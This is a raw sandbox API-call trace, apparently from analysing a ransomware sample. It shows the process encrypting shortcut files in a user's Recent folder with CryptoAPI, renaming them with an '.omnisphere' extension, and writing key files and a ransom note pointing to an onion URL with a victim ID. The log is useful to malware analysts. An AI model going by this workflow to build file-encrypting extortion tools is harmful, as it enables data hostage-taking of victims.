[0127.477] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162cec8 [0127.477] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" [0127.477] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0127.477] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0127.477] CloseHandle (hObject=0x28c) returned 1 [0127.478] GetProcessHeap () returned 0x1600000 [0127.478] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0127.478] GetProcessHeap () returned 0x1600000 [0127.478] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1656f58 | out: hHeap=0x1600000) returned 1 [0127.478] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2109ed0b, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2109ed0b, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2109ed0b, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x27e, dwReserved0=0x0, dwReserved1=0xd3, cFileName="YQ2t28Ch.lnk", cAlternateFileName="")) returned 1 [0127.478] GetProcessHeap () returned 0x1600000 [0127.478] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x9a) returned 0x1656cb8 [0127.478] PathCombineW (in: pszDest=0x1656cb8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="YQ2t28Ch.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\YQ2t28Ch.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\YQ2t28Ch.lnk" [0127.478] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0127.478] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\YQ2t28Ch.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\yq2t28ch.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0127.478] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=638) returned 1 [0127.478] GetTickCount () returned 0x115fcea [0127.479] GetTickCount () returned 0x115fcea [0127.479] GetTickCount () returned 0x115fcea [0127.479] GetTickCount () returned 0x115fcea [0127.479] GetTickCount () returned 0x115fcea [0127.479] GetTickCount () returned 0x115fcea [0127.479] GetTickCount () returned 0x115fcea [0127.479] GetTickCount () returned 0x115fcea [0127.479] GetTickCount () returned 0x115fcea [0127.479] GetTickCount () returned 0x115fcea [0127.479] GetTickCount () returned 0x115fcea [0127.479] GetTickCount () returned 0x115fcea [0127.479] GetTickCount () returned 0x115fcea [0127.479] GetTickCount () returned 0x115fcea [0127.479] GetTickCount () returned 0x115fcea [0127.479] GetTickCount () returned 0x115fcea [0127.479] GetTickCount () returned 0x115fcea [0127.479] GetTickCount () returned 0x115fcea [0127.479] GetTickCount () returned 0x115fcea [0127.479] GetTickCount () returned 0x115fcea [0127.479] GetTickCount () returned 0x115fcea [0127.479] GetTickCount () returned 0x115fcea [0127.479] GetTickCount () returned 0x115fcea [0127.479] GetTickCount () returned 0x115fcea [0127.479] GetTickCount () returned 0x115fcea [0127.479] GetTickCount () returned 0x115fcea [0127.479] GetTickCount () returned 0x115fcea [0127.480] GetTickCount () returned 0x115fcea [0127.480] GetTickCount () returned 0x115fcea [0127.480] GetTickCount () returned 0x115fcea [0127.480] GetTickCount () returned 0x115fcea [0127.480] GetTickCount () returned 0x115fcea [0127.480] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x1668928) returned 1 [0127.480] CryptImportKey (in: hProv=0x1668928, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x16396a8) returned 1 [0127.481] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0127.481] CryptDestroyKey (hKey=0x16396a8) returned 1 [0127.481] CryptReleaseContext (hProv=0x1668928, dwFlags=0x0) returned 1 [0127.481] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x27e, lpName=0x0) returned 0x288 [0127.481] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x27e) returned 0x1480000 [0127.481] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x16689b0) returned 1 [0127.482] CryptImportKey (in: hProv=0x16689b0, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x16394e8) returned 1 [0127.482] CryptSetKeyParam (hKey=0x16394e8, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0127.482] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0127.482] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.482] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.482] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.482] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.482] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.482] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.482] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.483] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.483] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.483] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.483] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.483] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.483] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.483] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.483] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.483] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.483] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.483] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.483] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.483] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.483] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.483] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.483] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.484] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.484] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.484] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.484] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.484] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.484] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.484] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.484] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.484] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.484] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.484] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.484] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.484] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.484] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.484] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.484] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.484] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.484] CryptDestroyKey (hKey=0x16394e8) returned 1 [0127.484] CryptReleaseContext (hProv=0x16689b0, dwFlags=0x0) returned 1 [0127.485] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x27e, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0127.485] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0127.486] GetProcessHeap () returned 0x1600000 [0127.486] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2aa) returned 0x16f3198 [0127.486] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\YQ2t28Ch.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\yq2t28ch.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\YQ2t28Ch.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\yq2t28ch.lnk.omnisphere")) returned 1 [0127.487] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\YQ2t28Ch.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\YQ2t28Ch.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\YQ2t28Ch.lnk.omnisphere.id" [0127.487] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\YQ2t28Ch.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\yq2t28ch.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0127.488] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0127.489] CloseHandle (hObject=0x3c0) returned 1 [0127.489] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0127.489] CloseHandle (hObject=0x288) returned 1 [0127.490] SetEndOfFile (hFile=0x28c) returned 1 [0127.490] FlushFileBuffers (hFile=0x28c) returned 1 [0127.493] CloseHandle (hObject=0x28c) returned 1 [0127.493] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\YQ2t28Ch.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0127.493] GetProcessHeap () returned 0x1600000 [0127.493] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16f4398 [0127.493] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0127.493] GetProcessHeap () returned 0x1600000 [0127.493] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16f1cf8 [0127.493] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16f1cf8, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0127.493] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0127.494] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0127.494] GetProcessHeap () returned 0x1600000 [0127.494] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x16d8268 [0127.494] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x16d8268, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0127.494] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0127.494] GetProcessHeap () returned 0x1600000 [0127.494] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16f5fe8 [0127.494] PathCombineW (in: pszDest=0x16f5fe8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" [0127.494] GetProcessHeap () returned 0x1600000 [0127.494] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x1700640 [0127.494] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0127.494] WriteFile (in: hFile=0x28c, lpBuffer=0x1700640*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x1700640*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0127.494] CloseHandle (hObject=0x28c) returned 1 [0127.495] GetProcessHeap () returned 0x1600000 [0127.495] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16f4398 | out: hHeap=0x1600000) returned 1 [0127.495] GetProcessHeap () returned 0x1600000 [0127.495] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162cec8 [0127.495] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" [0127.495] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0127.495] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0127.495] CloseHandle (hObject=0x28c) returned 1 [0127.495] GetProcessHeap () returned 0x1600000 [0127.495] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0127.495] GetProcessHeap () returned 0x1600000 [0127.495] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1656cb8 | out: hHeap=0x1600000) returned 1 [0127.495] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21c6467a, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x21c6467a, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x21c6467a, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x3ce, dwReserved0=0x0, dwReserved1=0xd3, cFileName="yR2XIoXCvmYLDc.lnk", cAlternateFileName="YR2XIO~1.LNK")) returned 1 [0127.495] GetProcessHeap () returned 0x1600000 [0127.495] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162cec8 [0127.496] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="yR2XIoXCvmYLDc.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\yR2XIoXCvmYLDc.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\yR2XIoXCvmYLDc.lnk" [0127.496] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0127.496] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\yR2XIoXCvmYLDc.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\yr2xioxcvmyldc.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0127.496] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=974) returned 1 [0127.496] GetTickCount () returned 0x115fcfa [0127.496] GetTickCount () returned 0x115fcfa [0127.496] GetTickCount () returned 0x115fcfa [0127.496] GetTickCount () returned 0x115fcfa [0127.496] GetTickCount () returned 0x115fcfa [0127.496] GetTickCount () returned 0x115fcfa [0127.496] GetTickCount () returned 0x115fcfa [0127.496] GetTickCount () returned 0x115fcfa [0127.496] GetTickCount () returned 0x115fcfa [0127.496] 